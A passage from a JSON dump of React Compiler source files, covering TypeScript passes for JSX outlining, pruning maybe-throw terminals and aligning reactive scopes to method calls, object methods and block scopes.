Map<IdentifierId, LoadGlobalInstruction>;\n\ntype State = {\n  jsx: Array<JsxInstruction>;\n  children: Set<IdentifierId>;\n};\n\nfunction outlineJsxImpl(\n  fn: HIRFunction,\n  outlinedFns: Array<HIRFunction>,\n): void {\n  const globals: LoadGlobalMap = new Map();\n\n  function processAndOutlineJSX(\n    state: State,\n    rewriteInstr: Map<InstructionId, Array<Instruction>>,\n  ): void {\n    if (state.jsx.length <= 1) {\n      return;\n    }\n    const result = process(\n      fn,\n      [...state.jsx].sort((a, b) => a.id - b.id),\n      globals,\n    );\n    if (result) {\n      outlinedFns.push(result.fn);\n      rewriteInstr.set(state.jsx.at(0)!.id, result.instrs);\n    }\n  }\n\n  for (const [, block] of fn.body.blocks) {\n    const rewriteInstr = new Map();\n    let state: State = {\n      jsx: [],\n      children: new Set(),\n    };\n\n    for (let i = block.instructions.length - 1; i >= 0; i--) {\n      const instr = block.instructions[i];\n      const {value, lvalue} = instr;\n      switch (value.kind) {\n        case 'LoadGlobal': {\n          globals.set(lvalue.identifier.id, instr as LoadGlobalInstruction);\n          break;\n        }\n        case 'FunctionExpression': {\n          outlineJsxImpl(value.loweredFunc.func, outlinedFns);\n          break;\n        }\n\n        case 'JsxExpression': {\n          if (!state.children.has(lvalue.identifier.id)) {\n            processAndOutlineJSX(state, rewriteInstr);\n\n            state = {\n              jsx: [],\n              children: new Set(),\n            };\n          }\n          state.jsx.push(instr as JsxInstruction);\n          if (value.children) {\n            for (const child of value.children) {\n              state.children.add(child.identifier.id);\n            }\n          }\n          break;\n        }\n        case 'ArrayExpression':\n        case 'Await':\n        case 'BinaryExpression':\n        case 'CallExpression':\n        case 'ComputedDelete':\n        case 'ComputedLoad':\n        case 'ComputedStore':\n        case 'Debugger':\n        case 'DeclareContext':\n        case 'DeclareLocal':\n        case 'Destructure':\n        case 'FinishMemoize':\n        case 'GetIterator':\n        case 'IteratorNext':\n        case 'JSXText':\n        case 'JsxFragment':\n        case 'LoadContext':\n        case 'LoadLocal':\n        case 'MetaProperty':\n        case 'MethodCall':\n        case 'NewExpression':\n        case 'NextPropertyOf':\n        case 'ObjectExpression':\n        case 'ObjectMethod':\n        case 'PostfixUpdate':\n        case 'PrefixUpdate':\n        case 'Primitive':\n        case 'PropertyDelete':\n        case 'PropertyLoad':\n        case 'PropertyStore':\n        case 'RegExpLiteral':\n        case 'StartMemoize':\n        case 'StoreContext':\n        case 'StoreGlobal':\n        case 'StoreLocal':\n        case 'TaggedTemplateExpression':\n        case 'TemplateLiteral':\n        case 'TypeCastExpression':\n        case 'UnsupportedNode':\n        case 'UnaryExpression': {\n          break;\n        }\n        default: {\n          assertExhaustive(value, `Unexpected instruction: ${value}`);\n        }\n      }\n    }\n    processAndOutlineJSX(state, rewriteInstr);\n\n    if (rewriteInstr.size > 0) {\n      const newInstrs = [];\n      for (let i = 0; i < block.instructions.length; i++) {\n        // InstructionId's are one-indexed, so add one to account for them.\n        const id = i + 1;\n        if (rewriteInstr.has(id)) {\n          const instrs = rewriteInstr.get(id);\n          newInstrs.push(...instrs);\n        } else {\n          newInstrs.push(block.instructions[i]);\n        }\n      }\n      block.instructions = newInstrs;\n    }\n    deadCodeElimination(fn);\n  }\n}\n\ntype OutlinedResult = {\n  instrs: Array<Instruction>;\n  fn: HIRFunction;\n};\n\nfunction process(\n  fn: HIRFunction,\n  jsx: Array<JsxInstruction>,\n  globals: LoadGlobalMap,\n): OutlinedResult | null {\n  /**\n   * In the future, add a check for backedge to outline jsx inside loops in a\n   * top level component. For now, only outline jsx in callbacks.\n   */\n  if (fn.fnType === 'Component') {\n    return null;\n  }\n\n  const props = collectProps(fn.env, jsx);\n  if (!props) return null;\n\n  const outlinedTag = fn.env.generateGloballyUniqueIdentifierName(null).value;\n  const newInstrs = emitOutlinedJsx(fn.env, jsx, props, outlinedTag);\n  if (!newInstrs) return null;\n\n  const outlinedFn = emitOutlinedFn(fn.env, jsx, props, globals);\n  if (!outlinedFn) return null;\n  outlinedFn.id = outlinedTag;\n\n  return {instrs: newInstrs, fn: outlinedFn};\n}\n\ntype OutlinedJsxAttribute = {\n  originalName: string;\n  newName: string;\n  place: Place;\n};\n\nfunction collectProps(\n  env: Environment,\n  instructions: Array<JsxInstruction>,\n): Array<OutlinedJsxAttribute> | null {\n  let id = 1;\n\n  function generateName(oldName: string): string {\n    let newName = oldName;\n    while (seen.has(newName)) {\n      newName = `${oldName}${id++}`;\n    }\n    seen.add(newName);\n    env.programContext.addNewReference(newName);\n    return newName;\n  }\n\n  const attributes: Array<OutlinedJsxAttribute> = [];\n  const jsxIds = new Set(instructions.map(i => i.lvalue.identifier.id));\n  const seen: Set<string> = new Set();\n\n  for (const instr of instructions) {\n    const {value} = instr;\n\n    for (const at of value.props) {\n      if (at.kind === 'JsxSpreadAttribute') {\n        return null;\n      }\n\n      if (at.kind === 'JsxAttribute') {\n        const newName = generateName(at.name);\n        attributes.push({\n          originalName: at.name,\n          newName,\n          place: at.place,\n        });\n      }\n    }\n\n    if (value.children) {\n      for (const child of value.children) {\n        if (jsxIds.has(child.identifier.id)) {\n          continue;\n        }\n\n        promoteTemporary(child.identifier);\n        const newName = generateName('t');\n        attributes.push({\n          originalName: child.identifier.name!.value,\n          newName: newName,\n          place: child,\n        });\n      }\n    }\n  }\n  return attributes;\n}\n\nfunction emitOutlinedJsx(\n  env: Environment,\n  instructions: Array<Instruction>,\n  outlinedProps: Array<OutlinedJsxAttribute>,\n  outlinedTag: string,\n): Array<Instruction> {\n  const props: Array<JsxAttribute> = outlinedProps.map(p => ({\n    kind: 'JsxAttribute',\n    name: p.newName,\n    place: p.place,\n  }));\n\n  const loadJsx: Instruction = {\n    id: makeInstructionId(0),\n    loc: GeneratedSource,\n    lvalue: createTemporaryPlace(env, GeneratedSource),\n    value: {\n      kind: 'LoadGlobal',\n      binding: {\n        kind: 'ModuleLocal',\n        name: outlinedTag,\n      },\n      loc: GeneratedSource,\n    },\n    effects: null,\n  };\n  promoteTemporaryJsxTag(loadJsx.lvalue.identifier);\n  const jsxExpr: Instruction = {\n    id: makeInstructionId(0),\n    loc: GeneratedSource,\n    lvalue: instructions.at(-1)!.lvalue,\n    value: {\n      kind: 'JsxExpression',\n      tag: {...loadJsx.lvalue},\n      props,\n      children: null,\n      loc: GeneratedSource,\n      openingLoc: GeneratedSource,\n      closingLoc: GeneratedSource,\n    },\n    effects: null,\n  };\n\n  return [loadJsx, jsxExpr];\n}\n\nfunction emitOutlinedFn(\n  env: Environment,\n  jsx: Array<JsxInstruction>,\n  oldProps: Array<OutlinedJsxAttribute>,\n  globals: LoadGlobalMap,\n): HIRFunction | null {\n  const instructions: Array<Instruction> = [];\n  const oldToNewProps = createOldToNewPropsMapping(env, oldProps);\n\n  const propsObj: Place = createTemporaryPlace(env, GeneratedSource);\n  promoteTemporary(propsObj.identifier);\n\n  const destructurePropsInstr = emitDestructureProps(\n    env,\n    propsObj,\n    oldToNewProps,\n  );\n  instructions.push(destructurePropsInstr);\n\n  const updatedJsxInstructions = emitUpdatedJsx(jsx, oldToNewProps);\n  const loadGlobalInstrs = emitLoadGlobals(jsx, globals);\n  if (!loadGlobalInstrs) {\n    return null;\n  }\n  instructions.push(...loadGlobalInstrs);\n  instructions.push(...updatedJsxInstructions);\n\n  const block: BasicBlock = {\n    kind: 'block',\n    id: makeBlockId(0),\n    instructions,\n    terminal: {\n      id: makeInstructionId(0),\n      kind: 'return',\n      returnVariant: 'Explicit',\n      loc: GeneratedSource,\n      value: instructions.at(-1)!.lvalue,\n      effects: null,\n    },\n    preds: new Set(),\n    phis: new Set(),\n  };\n\n  const fn: HIRFunction = {\n    loc: GeneratedSource,\n    id: null,\n    nameHint: null,\n    fnType: 'Other',\n    env,\n    params: [propsObj],\n    returnTypeAnnotation: null,\n    returns: createTemporaryPlace(env, GeneratedSource),\n    context: [],\n    body: {\n      entry: block.id,\n      blocks: new Map([[block.id, block]]),\n    },\n    generator: false,\n    async: false,\n    directives: [],\n    aliasingEffects: [],\n  };\n  return fn;\n}\n\nfunction emitLoadGlobals(\n  jsx: Array<JsxInstruction>,\n  globals: LoadGlobalMap,\n): Array<Instruction> | null {\n  const instructions: Array<Instruction> = [];\n  for (const {value} of jsx) {\n    // Add load globals instructions for jsx tags\n    if (value.tag.kind === 'Identifier') {\n      const loadGlobalInstr = globals.get(value.tag.identifier.id);\n      if (!loadGlobalInstr) {\n        return null;\n      }\n      instructions.push(loadGlobalInstr);\n    }\n  }\n\n  return instructions;\n}\n\nfunction emitUpdatedJsx(\n  jsx: Array<JsxInstruction>,\n  oldToNewProps: Map<IdentifierId, OutlinedJsxAttribute>,\n): Array<JsxInstruction> {\n  const newInstrs: Array<JsxInstruction> = [];\n  const jsxIds = new Set(jsx.map(i => i.lvalue.identifier.id));\n\n  for (const instr of jsx) {\n    const {value} = instr;\n    const newProps: Array<JsxAttribute> = [];\n    // Update old props references to use the newly destructured props param\n    for (const prop of value.props) {\n      invariant(\n        prop.kind === 'JsxAttribute',\n        `Expected only attributes but found ${prop.kind}`,\n      );\n      if (prop.name === 'key') {\n        continue;\n      }\n      const newProp = oldToNewProps.get(prop.place.identifier.id);\n      invariant(\n        newProp !== undefined,\n        `Expected a new property for ${printIdentifier(prop.place.identifier)}`,\n      );\n      newProps.push({\n        kind: 'JsxAttribute',\n        name: newProp.originalName,\n        place: newProp.place,\n      });\n    }\n\n    let newChildren: Array<Place> | null = null;\n    if (value.children) {\n      newChildren = [];\n      for (const child of value.children) {\n        if (jsxIds.has(child.identifier.id)) {\n          newChildren.push({...child});\n          continue;\n        }\n\n        const newChild = oldToNewProps.get(child.identifier.id);\n        invariant(\n          newChild !== undefined,\n          `Expected a new prop for ${printIdentifier(child.identifier)}`,\n        );\n        newChildren.push({...newChild.place});\n      }\n    }\n\n    newInstrs.push({\n      ...instr,\n      value: {\n        ...value,\n        props: newProps,\n        children: newChildren,\n      },\n    });\n  }\n\n  return newInstrs;\n}\n\nfunction createOldToNewPropsMapping(\n  env: Environment,\n  oldProps: Array<OutlinedJsxAttribute>,\n): Map<IdentifierId, OutlinedJsxAttribute> {\n  const oldToNewProps = new Map();\n\n  for (const oldProp of oldProps) {\n    // Do not read key prop in the outlined component\n    if (oldProp.originalName === 'key') {\n      continue;\n    }\n\n    const newProp: OutlinedJsxAttribute = {\n      ...oldProp,\n      place: createTemporaryPlace(env, GeneratedSource),\n    };\n    newProp.place.identifier.name = makeIdentifierName(oldProp.newName);\n    oldToNewProps.set(oldProp.place.identifier.id, newProp);\n  }\n\n  return oldToNewProps;\n}\n\nfunction emitDestructureProps(\n  env: Environment,\n  propsObj: Place,\n  oldToNewProps: Map<IdentifierId, OutlinedJsxAttribute>,\n): Instruction {\n  const properties: Array<ObjectProperty> = [];\n  for (const [_, prop] of oldToNewProps) {\n    properties.push({\n      kind: 'ObjectProperty',\n      key: {\n        kind: 'string',\n        name: prop.newName,\n      },\n      type: 'property',\n      place: prop.place,\n    });\n  }\n\n  const destructurePropsInstr: Instruction = {\n    id: makeInstructionId(0),\n    lvalue: createTemporaryPlace(env, GeneratedSource),\n    loc: GeneratedSource,\n    value: {\n      kind: 'Destructure',\n      lvalue: {\n        pattern: {\n          kind: 'ObjectPattern',\n          properties,\n          loc: GeneratedSource,\n        },\n        kind: InstructionKind.Let,\n      },\n      loc: GeneratedSource,\n      value: propsObj,\n    },\n    effects: null,\n  };\n  return destructurePropsInstr;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/Optimization/PruneMaybeThrows.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {CompilerError} from '..';\nimport {\n  BlockId,\n  GeneratedSource,\n  HIRFunction,\n  Instruction,\n  assertConsistentIdentifiers,\n  assertTerminalSuccessorsExist,\n  mergeConsecutiveBlocks,\n  reversePostorderBlocks,\n} from '../HIR';\nimport {\n  markInstructionIds,\n  removeDeadDoWhileStatements,\n  removeUnnecessaryTryCatch,\n  removeUnreachableForUpdates,\n} from '../HIR/HIRBuilder';\nimport {printPlace} from '../HIR/PrintHIR';\n\n/**\n * This pass updates `maybe-throw` terminals for blocks that can provably *never* throw,\n * nulling out the handler to indicate that control will always continue. Note that\n * rewriting to a `goto` disrupts the structure of the HIR, making it more difficult to\n * reconstruct an ast during BuildReactiveFunction. Preserving the maybe-throw makes the\n * continuations clear, while nulling out the handler tells us that control cannot flow\n * to the handler.\n *\n * For now the analysis is very conservative, and only affects blocks with primitives or\n * array/object literals. Even a variable reference could throw bc of the TDZ.\n */\nexport function pruneMaybeThrows(fn: HIRFunction): void {\n  const terminalMapping = pruneMaybeThrowsImpl(fn);\n  if (terminalMapping) {\n    /*\n     * If terminals have changed then blocks may have become newly unreachable.\n     * Re-run minification of the graph (incl reordering instruction ids)\n     */\n    reversePostorderBlocks(fn.body);\n    removeUnreachableForUpdates(fn.body);\n    removeDeadDoWhileStatements(fn.body);\n    removeUnnecessaryTryCatch(fn.body);\n    markInstructionIds(fn.body);\n    mergeConsecutiveBlocks(fn);\n\n    // Rewrite phi operands to reference the updated predecessor blocks\n    for (const [, block] of fn.body.blocks) {\n      for (const phi of block.phis) {\n        for (const [predecessor, operand] of phi.operands) {\n          if (!block.preds.has(predecessor)) {\n            const mappedTerminal = terminalMapping.get(predecessor);\n            CompilerError.invariant(mappedTerminal != null, {\n              reason: `Expected non-existing phi operand's predecessor to have been mapped to a new terminal`,\n              description: `Could not find mapping for predecessor bb${predecessor} in block bb${\n                block.id\n              } for phi ${printPlace(phi.place)}`,\n              loc: GeneratedSource,\n            });\n            phi.operands.delete(predecessor);\n            phi.operands.set(mappedTerminal, operand);\n          }\n        }\n      }\n    }\n\n    assertConsistentIdentifiers(fn);\n    assertTerminalSuccessorsExist(fn);\n  }\n}\n\nfunction pruneMaybeThrowsImpl(fn: HIRFunction): Map<BlockId, BlockId> | null {\n  const terminalMapping = new Map<BlockId, BlockId>();\n  for (const [_, block] of fn.body.blocks) {\n    const terminal = block.terminal;\n    if (terminal.kind !== 'maybe-throw') {\n      continue;\n    }\n    const canThrow = block.instructions.some(instr =>\n      instructionMayThrow(instr),\n    );\n    if (!canThrow) {\n      const source = terminalMapping.get(block.id) ?? block.id;\n      terminalMapping.set(terminal.continuation, source);\n      terminal.handler = null;\n    }\n  }\n  return terminalMapping.size > 0 ? terminalMapping : null;\n}\n\nfunction instructionMayThrow(instr: Instruction): boolean {\n  switch (instr.value.kind) {\n    case 'Primitive':\n    case 'ArrayExpression':\n    case 'ObjectExpression': {\n      return false;\n    }\n    default: {\n      return true;\n    }\n  }\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/Optimization/index.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nexport {constantPropagation} from './ConstantPropagation';\nexport {deadCodeElimination} from './DeadCodeElimination';\nexport {pruneMaybeThrows} from './PruneMaybeThrows';\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/AlignMethodCallScopes.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {\n  HIRFunction,\n  IdentifierId,\n  ReactiveScope,\n  makeInstructionId,\n} from '../HIR';\nimport DisjointSet from '../Utils/DisjointSet';\n\n/**\n * Ensures that method call instructions have scopes such that either:\n * - Both the MethodCall and its property have the same scope\n * - OR neither has a scope\n */\nexport function alignMethodCallScopes(fn: HIRFunction): void {\n  const scopeMapping = new Map<IdentifierId, ReactiveScope | null>();\n  const mergedScopes = new DisjointSet<ReactiveScope>();\n\n  for (const [, block] of fn.body.blocks) {\n    for (const instr of block.instructions) {\n      const {lvalue, value} = instr;\n      if (value.kind === 'MethodCall') {\n        const lvalueScope = lvalue.identifier.scope;\n        const propertyScope = value.property.identifier.scope;\n        if (lvalueScope !== null) {\n          if (propertyScope !== null) {\n            // Both have a scope: merge the scopes\n            mergedScopes.union([lvalueScope, propertyScope]);\n          } else {\n            /*\n             * Else the call itself has a scope but not the property,\n             * record that this property should be in this scope\n             */\n            scopeMapping.set(value.property.identifier.id, lvalueScope);\n          }\n        } else if (propertyScope !== null) {\n          // else this property does not need a scope\n          scopeMapping.set(value.property.identifier.id, null);\n        }\n      } else if (\n        value.kind === 'FunctionExpression' ||\n        value.kind === 'ObjectMethod'\n      ) {\n        alignMethodCallScopes(value.loweredFunc.func);\n      }\n    }\n  }\n\n  mergedScopes.forEach((scope, root) => {\n    if (scope === root) {\n      return;\n    }\n    root.range.start = makeInstructionId(\n      Math.min(scope.range.start, root.range.start),\n    );\n    root.range.end = makeInstructionId(\n      Math.max(scope.range.end, root.range.end),\n    );\n  });\n\n  for (const [, block] of fn.body.blocks) {\n    for (const instr of block.instructions) {\n      const mappedScope = scopeMapping.get(instr.lvalue.identifier.id);\n      if (mappedScope !== undefined) {\n        instr.lvalue.identifier.scope = mappedScope;\n      } else if (instr.lvalue.identifier.scope !== null) {\n        const mergedScope = mergedScopes.find(instr.lvalue.identifier.scope);\n        if (mergedScope != null) {\n          instr.lvalue.identifier.scope = mergedScope;\n        }\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/AlignObjectMethodScopes.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {CompilerError} from '..';\nimport {\n  GeneratedSource,\n  HIRFunction,\n  Identifier,\n  ReactiveScope,\n  makeInstructionId,\n} from '../HIR';\nimport {eachInstructionValueOperand} from '../HIR/visitors';\nimport DisjointSet from '../Utils/DisjointSet';\n\n/**\n * Align scopes of object method values to that of their enclosing object expressions.\n * To produce a well-formed JS program in Codegen, object methods and object expressions\n * must be in the same ReactiveBlock as object method definitions must be inlined.\n */\n\nfunction findScopesToMerge(fn: HIRFunction): DisjointSet<ReactiveScope> {\n  const objectMethodDecls: Set<Identifier> = new Set();\n  const mergeScopesBuilder = new DisjointSet<ReactiveScope>();\n\n  for (const [_, block] of fn.body.blocks) {\n    for (const {lvalue, value} of block.instructions) {\n      if (value.kind === 'ObjectMethod') {\n        objectMethodDecls.add(lvalue.identifier);\n      } else if (value.kind === 'ObjectExpression') {\n        for (const operand of eachInstructionValueOperand(value)) {\n          if (objectMethodDecls.has(operand.identifier)) {\n            const operandScope = operand.identifier.scope;\n            const lvalueScope = lvalue.identifier.scope;\n\n            CompilerError.invariant(\n              operandScope != null && lvalueScope != null,\n              {\n                reason:\n                  'Internal error: Expected all ObjectExpressions and ObjectMethods to have non-null scope.',\n                loc: GeneratedSource,\n              },\n            );\n            mergeScopesBuilder.union([operandScope, lvalueScope]);\n          }\n        }\n      }\n    }\n  }\n  return mergeScopesBuilder;\n}\n\nexport function alignObjectMethodScopes(fn: HIRFunction): void {\n  // Handle inner functions: we assume that Scopes are disjoint across functions\n  for (const [_, block] of fn.body.blocks) {\n    for (const {value} of block.instructions) {\n      if (\n        value.kind === 'ObjectMethod' ||\n        value.kind === 'FunctionExpression'\n      ) {\n        alignObjectMethodScopes(value.loweredFunc.func);\n      }\n    }\n  }\n\n  const scopeGroupsMap = findScopesToMerge(fn).canonicalize();\n  /**\n   * Step 1: Merge affected scopes to their canonical root.\n   */\n  for (const [scope, root] of scopeGroupsMap) {\n    if (scope !== root) {\n      root.range.start = makeInstructionId(\n        Math.min(scope.range.start, root.range.start),\n      );\n      root.range.end = makeInstructionId(\n        Math.max(scope.range.end, root.range.end),\n      );\n    }\n  }\n\n  /**\n   * Step 2: Repoint identifiers whose scopes were merged.\n   */\n  for (const [_, block] of fn.body.blocks) {\n    for (const {\n      lvalue: {identifier},\n    } of block.instructions) {\n      if (identifier.scope != null) {\n        const root = scopeGroupsMap.get(identifier.scope);\n        if (root != null) {\n          identifier.scope = root;\n        }\n        // otherwise, this identifier's scope was not affected by this pass\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/AlignReactiveScopesToBlockScopesHIR.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {CompilerError} from '..';\nimport {\n  BlockId,\n  HIRFunction,\n  InstructionId,\n  MutableRange,\n  Place,\n  ReactiveScope,\n  getPlaceScope,\n  makeInstructionId,\n} from '../HIR/HIR';\nimport {\n  eachInstructionLValue,\n  eachInstructionValueOperand,\n  eachTerminalOperand,\n  mapTerminalSuccessors,\n  terminalFallthrough,\n} from '../HIR/visitors';\nimport {retainWhere_Set} from '../Utils/utils';\n\ntype InstructionRange = MutableRange;\n/*\n * Note: this is the 2nd of 4 passes that determine how to break a function into discrete\n * reactive scopes (independently memoizeable units of code):\n * 1. InferReactiveScopeVariables (on HIR) determines operands that mutate together and assigns\n *     them a unique reactive scope.\n * 2. AlignReactiveScopesToBlockScopes (this pass, on ReactiveFunction) aligns reactive scopes\n *     to block scopes.\n * 3. MergeOverlappingReactiveScopes (on ReactiveFunction) ensures that reactive scopes do not\n *     overlap, merging any such scopes.\n * 4. BuildReactiveBlocks (on ReactiveFunction) groups the statements for each scope into\n *     a ReactiveScopeBlock.\n *\n * Prior inference passes assign a reactive scope to each operand, but the ranges of these\n * scopes are based on specific instructions at arbitrary points in the control-flow graph.\n * However, to codegen blocks around the instructions in each scope, the scopes must be\n * aligned to block-scope boundaries - we can't memoize half of a loop!\n *\n * This pass updates reactive scope boundaries to align to control flow boundaries, for\n * example:\n *\n * ```javascript\n * function foo(cond, a) {\n *                     ⌵ original scope\n *                          ⌵ expanded scope\n *    const x = [];    ⌝    ⌝\n *    if (cond) {      ⎮    ⎮\n *      ...            ⎮    ⎮\n *      x.push(a);     ⌟    ⎮\n *      ...                 ⎮\n *    }                     ⌟\n * }\n * ```\n *\n * Here the original scope for `x` ended partway through the if consequent, but we can't\n * memoize part of that block. This pass would align the scope to the end of the consequent.\n *\n * The more general rule is that a reactive scope may only end at the same block scope as it\n * began: this pass therefore finds, for each scope, the block where that scope started and\n * finds the first instruction after the scope's mutable range in that same block scope (which\n * will be the updated end for that scope).\n */\nexport function alignReactiveScopesToBlockScopesHIR(fn: HIRFunction): void {\n  const activeBlockFallthroughRanges: Array<{\n    range: InstructionRange;\n    fallthrough: BlockId;\n  }> = [];\n  const activeScopes = new Set<ReactiveScope>();\n  const seen = new Set<ReactiveScope>();\n  const valueBlockNodes = new Map<BlockId, ValueBlockNode>();\n  const placeScopes = new Map<Place, ReactiveScope>();\n\n  function recordPlace(\n    id: InstructionId,\n    place: Place,\n    node: ValueBlockNode | null,\n  ): void {\n    if (place.identifier.scope !== null) {\n      placeScopes.set(place, place.identifier.scope);\n    }\n\n    const scope = getPlaceScope(id, place);\n    if (scope == null) {\n      return;\n    }\n    activeScopes.add(scope);\n    node?.children.push({kind: 'scope', scope, id});\n\n    if (seen.has(scope)) {\n      return;\n    }\n    seen.add(scope);\n    if (node != null && node.valueRange !== null) {\n      scope.range.start = makeInstructionId(\n        Math.min(node.valueRange.start, scope.range.start),\n      );\n      scope.range.end = makeInstructionId(\n        Math.max(node.valueRange.end, scope.range.end),\n      );\n    }\n  }\n\n  for (const [, block] of fn.body.blocks) {\n    const startingId = block.instructions[0]?.id ?? block.terminal.id;\n    retainWhere_Set(activeScopes, scope => scope.range.end > startingId);\n    const top = activeBlockFallthroughRanges.at(-1);\n    if (top?.fallthrough === block.id) {\n      activeBlockFallthroughRanges.pop();\n      /*\n       * All active scopes must have either started before or within the last\n       * block-fallthrough range. In either case, they overlap this block-\n       * fallthrough range and can have their ranges extended.\n       */\n      for (const scope of activeScopes) {\n        scope.range.start = makeInstructionId(\n          Math.min(scope.range.start, top.range.start),\n        );\n      }\n    }\n\n    const {instructions, terminal} = block;\n    const node = valueBlockNodes.get(block.id) ?? null;\n    for (const instr of instructions) {\n      for (const lvalue of eachInstructionLValue(instr)) {\n        recordPlace(instr.id, lvalue, node);\n      }\n      for (const operand of eachInstructionValueOperand(instr.value)) {\n        recordPlace(instr.id, operand, node);\n      }\n    }\n    for (const operand of eachTerminalOperand(terminal)) {\n      recordPlace(terminal.id, operand, node);\n    }\n\n    const fallthrough = terminalFallthrough(terminal);\n    if (fallthrough !== null && terminal.kind !== 'branch') {\n      /*\n       * Any currently active scopes that overlaps the block-fallthrough range\n       * need their range extended to at least the first instruction of the\n       * fallthrough\n       */\n      const fallthroughBlock = fn.body.blocks.get(fallthrough)!;\n      const nextId =\n        fallthroughBlock.instructions[0]?.id ?? fallthroughBlock.terminal.id;\n      for (const scope of activeScopes) {\n        if (scope.range.end > terminal.id) {\n          scope.range.end = makeInstructionId(\n            Math.max(scope.range.end, nextId),\n          );\n        }\n      }\n      /**\n       * We also record the block-fallthrough range for future scopes that begin\n       * within the range (and overlap with the range end).\n       */\n      activeBlockFallthroughRanges.push({\n        fallthrough,\n        range: {\n          start: terminal.id,\n          end: nextId,\n        },\n      });\n\n      CompilerError.invariant(!valueBlockNodes.has(fallthrough), {\n        reason: 'Expect hir blocks to have unique fallthroughs',\n        loc: terminal.loc,\n      });\n      if (node != null) {\n        valueBlockNodes.set(fallthrough, node);\n      }\n    } else if (terminal.kind === 'goto') {\n      /**\n       * If we encounter a goto that is not to the natural fallthrough of the current\n       * block (not the topmost fallthrough on the stack), then this is a goto to a\n       * label. Any scopes that extend beyond the goto must be extended to include\n       * the labeled range, so that the break statement doesn't accidentally jump\n       * out of the scope. We do this by extending the start and end of the scope's\n       * range to the label and its fallthrough respectively.\n       */\n      const start = activeBlockFallthroughRanges.find(\n        range => range.fallthrough === terminal.block,\n      );\n      if (start != null && start !== activeBlockFallthroughRanges.at(-1)) {\n        const fallthroughBlock = fn.body.blocks.get(start.fallthrough)!;\n        const firstId =\n          fallthroughBlock.instructions[0]?.id ?? fallthroughBlock.terminal.id;\n        for (const scope of activeScopes) {\n          /**\n           * activeScopes is only filtered at block start points, so some of the\n           * scopes may not actually be active anymore, ie we've past their end\n           * instruction. Only extend ranges for scopes that are actually active.\n           *\n           * TODO: consider pruning activeScopes per instruction\n           */\n          if (scope.range.end <= terminal.id) {\n            continue;\n          }\n          scope.range.start = makeInstructionId(\n            Math.min(start.range.start, scope.range.start),\n          );\n          scope.range.end = makeInstructionId(\n            Math.max(firstId, scope.range.end),\n          );\n        }\n      }\n    }\n\n    /*\n     * Visit all successors (not just direct successors for control-flow ordering) to\n     * set a value block node where necessary to align the value block start/end\n     * back to the outer block scope.\n     *\n     * TODO: add a variant of eachTerminalSuccessor() that visits _all_ successors, not\n     * just those that are direct successors for normal control-flow ordering.\n     */\n    mapTerminalSuccessors(terminal, successor => {\n      if (valueBlockNodes.has(successor)) {\n        return successor;\n      }\n\n      const successorBlock = fn.body.blocks.get(successor)!;\n      if (successorBlock.kind === 'block' || successorBlock.kind === 'catch') {\n        /*\n         * we need the block kind check here because the do..while terminal's\n         * successor is a block, and try's successor is a catch block\n         */\n      } else if (\n        node == null ||\n        terminal.kind === 'ternary' ||\n        terminal.kind === 'logical' ||\n        terminal.kind === 'optional'\n      ) {\n        /**\n         * Create a new node whenever we transition from non-value -> value block.\n         *\n         * For compatibility with the previous ReactiveFunction-based scope merging logic,\n         * we also create new scope nodes for ternary, logical, and optional terminals.\n         * Inside value blocks we always store a range (valueRange) that is the\n         * start/end instruction ids at the nearest parent block scope level, so that\n         * scopes inside the value blocks can be extended to align with block scope\n         * instructions.\n         */\n        let valueRange: MutableRange;\n        if (node == null) {\n          // Transition from block->value block, derive the outer block range\n          CompilerError.invariant(fallthrough !== null, {\n            reason: `Expected a fallthrough for value block`,\n            loc: terminal.loc,\n          });\n          const fallthroughBlock = fn.body.blocks.get(fallthrough)!;\n          const nextId =\n            fallthroughBlock.instructions[0]?.id ??\n            fallthroughBlock.terminal.id;\n          valueRange = {\n            start: terminal.id,\n            end: nextId,\n          };\n        } else {\n          // else value->value transition, reuse the range\n          valueRange = node.valueRange;\n        }\n        const childNode: ValueBlockNode = {\n          kind: 'node',\n          id: terminal.id,\n          children: [],\n          valueRange,\n        };\n        node?.children.push(childNode);\n        valueBlockNodes.set(successor, childNode);\n      } else {\n        // this is a value -> value block transition, reuse the node\n        valueBlockNodes.set(successor, node);\n      }\n      return successor;\n    });\n  }\n}\n\ntype ValueBlockNode = {\n  kind: 'node';\n  id: InstructionId;\n  valueRange: MutableRange;\n  children: Array<ValueBlockNode | ReactiveScopeNode>;\n};\ntype ReactiveScopeNode = {\n  kind: 'scope';\n  id: InstructionId;\n  scope: ReactiveScope;\n};\n\nfunction _debug(node: ValueBlockNode): string {\n  const buf: Array<string> = [];\n  _printNode(node, buf, 0);\n  return buf.join('\\n');\n}\nfunction _printNode(\n  node: ValueBlockNode | ReactiveScopeNode,\n  out: Array<string>,\n  depth: number = 0,\n): void {\n  let prefix = '  '.repeat(depth);\n  if (node.kind === 'scope') {\n    out.push(\n      `${prefix}[${node.id}] @${node.scope.id} [${node.scope.range.start}:${node.scope.range.end}]`,\n    );\n  } else {\n    let range = ` (range=[${node.valueRange.start}:${node.valueRange.end}])`;\n    out.push(`${prefix}[${node.id}] node${range} [`);\n    for (const child of node.children) {\n      _printNode(child, out, depth + 1);\n    }\n    out.push(`${prefix}]`);\n  }\n}\n"
  },
  {
